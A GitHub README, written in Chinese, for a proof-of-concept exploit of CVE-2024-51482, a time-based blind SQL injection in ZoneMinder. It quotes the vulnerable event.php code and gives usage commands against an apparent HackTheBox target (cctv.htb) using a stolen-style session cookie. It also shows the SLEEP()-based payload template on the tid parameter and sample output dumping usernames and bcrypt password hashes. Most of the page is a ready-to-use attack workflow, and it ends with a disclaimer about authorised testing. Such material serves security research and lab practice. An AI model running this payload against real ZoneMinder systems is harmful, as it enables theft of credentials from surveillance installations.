c0gnit00/CVE-2024-51482

GitHub: c0gnit00/CVE-2024-51482

针对 ZoneMinder v1.37.64 及以下版本已认证时间盲注漏洞(CVE-2024-51482)的 PoC 利用脚本,通过二分查找从 zm.Users 表提取用户凭证。

Stars: 0 | Forks: 0

# CVE-2024-51482 — ZoneMinder 基于时间的盲注 SQL 注入 这是一个针对 **CVE-2024-51482** 的漏洞概念验证(PoC)利用程序。该漏洞是 **ZoneMinder v1.37.* ≤ 1.37.64** 中一个已认证的基于时间的盲注 SQL 注入漏洞。 该脚本通过基于 `SLEEP()` 的预言机,使用二分查找法从 `zm.Users` 表中提取用户名和密码哈希。 ## 漏洞详情 `web/ajax/event.php` 中的 `removetag` 处理程序安全地对 `DELETE` 查询进行了参数化,但随后直接将用户可控的输入拼接到了后续的 `SELECT` 语句中: ``` // Safe — parameterized dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); // Vulnerable — string interpolation $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; $rowCount = dbNumRows($sql); ``` `$tagId` 直接取自 `$_REQUEST['tid']` 且未经过滤,从而允许通过 `tid` 参数进行注入。 ## 环境要求 - Python 3.8+ - `requests` (`pip install requests`) - 来自已登录 ZoneMinder 账户的有效 `ZMSESSID` 会话 cookie ## 用法 ``` python3 CVE-2024-51482.py --url --zmsessid ``` **参数:** - `--url` — ZoneMinder 的基础 URL(例如 `http://cctv.htb/zm`)*(必填)* - `--zmsessid` — `ZMSESSID` cookie 的值 *(必填)* - `--sleep` — 用于基于时间推理的休眠秒数(默认:`3`) - `--timeout` — 请求超时时间(秒)(默认:`sleep + 3`) **示例:** ``` # 基础 python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh # 在低延迟网络上更快 python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2 # 自定义 timeout python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10 ``` ### 获取会话 Cookie 登录 ZoneMinder,打开浏览器的开发者工具 (**F12**) -> **Application** -> **Cookies**,复制 `ZMSESSID` 的值。或者,在 Burp Suite 中拦截任意已认证的请求,并从 `Cookie` 标头中获取它。 ## 输出结果 ``` [*] Baseline check... [*] Baseline: 0.62s [*] Testing injection... [*] Sleep test: 2.66s [+] Injection confirmed! [*] Dumping ZoneMinder Users... [*] Counting rows in zm.Users... [+] Found 3 user(s) [*] Extracting username 1/3... [*] Length: 5 [*] admin [+] Username: admin [*] Extracting password for 'admin'... [*] Length: 60 [*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m [+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m [*] Extracting username 2/3... [*] Length: 4 [*] mark [+] Username: mark [*] Extracting password for 'mark'... [*] Length: 60 [*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. [+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. [*] Extracting username 3/3... [*] Length: 10 [*] superadmin [+] Username: superadmin [*] Extracting password for 'superadmin'... [*] Length: 60 [*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm [+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm ================================================== DUMP COMPLETE ================================================== admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm ``` ## 工作原理 1. **基线测试** — 发送一个干净的 `tid=1` 请求,以测量正常的响应时间。 2. **漏洞确认** — 注入 `SLEEP(2)` 并验证响应是否延迟 ≥2 秒。 3. **行数探测** — 对 `zm.Users` 进行二分查找 `COUNT(*)`,以确定存在的账户数量。 4. **数据提取** — 对于每个用户,通过二分查找逐个推算 `Username` 和 `Password` 中每个字符的 ASCII 值(每个字符约需 7 次请求,而线性扫描则需 95 次)。 **Payload 结构:** ``` GET /zm/index.php?view=request&request=event&action=removetag&tid=&id=1 1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE ) as dummy) ``` 必须有 `id=1`,因为在易受攻击的 `SELECT` 语句之前执行的安全 `DELETE` 语句,如果没有它就会抛出 `500` 错误,从而在执行到注入点之前中断程序。 ## 参考链接 - [CVE-2024-51482 — NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-51482) - [ZoneMinder — event.php (1.37.63)](https://github.com/ZoneMinder/zoneminder/blob/1.37.63/web/ajax/event.php) ## 免责声明 本工具仅供**授权的安全测试和教育研究使用**。 在对非自身拥有的系统进行测试之前,请务必获得明确的书面许可。 对于因滥用本软件或由此造成的任何损害,作者不承担任何责任。
标签:CISA项目, POC, Python, ZoneMinder, 多线程, 无后门, 逆向工具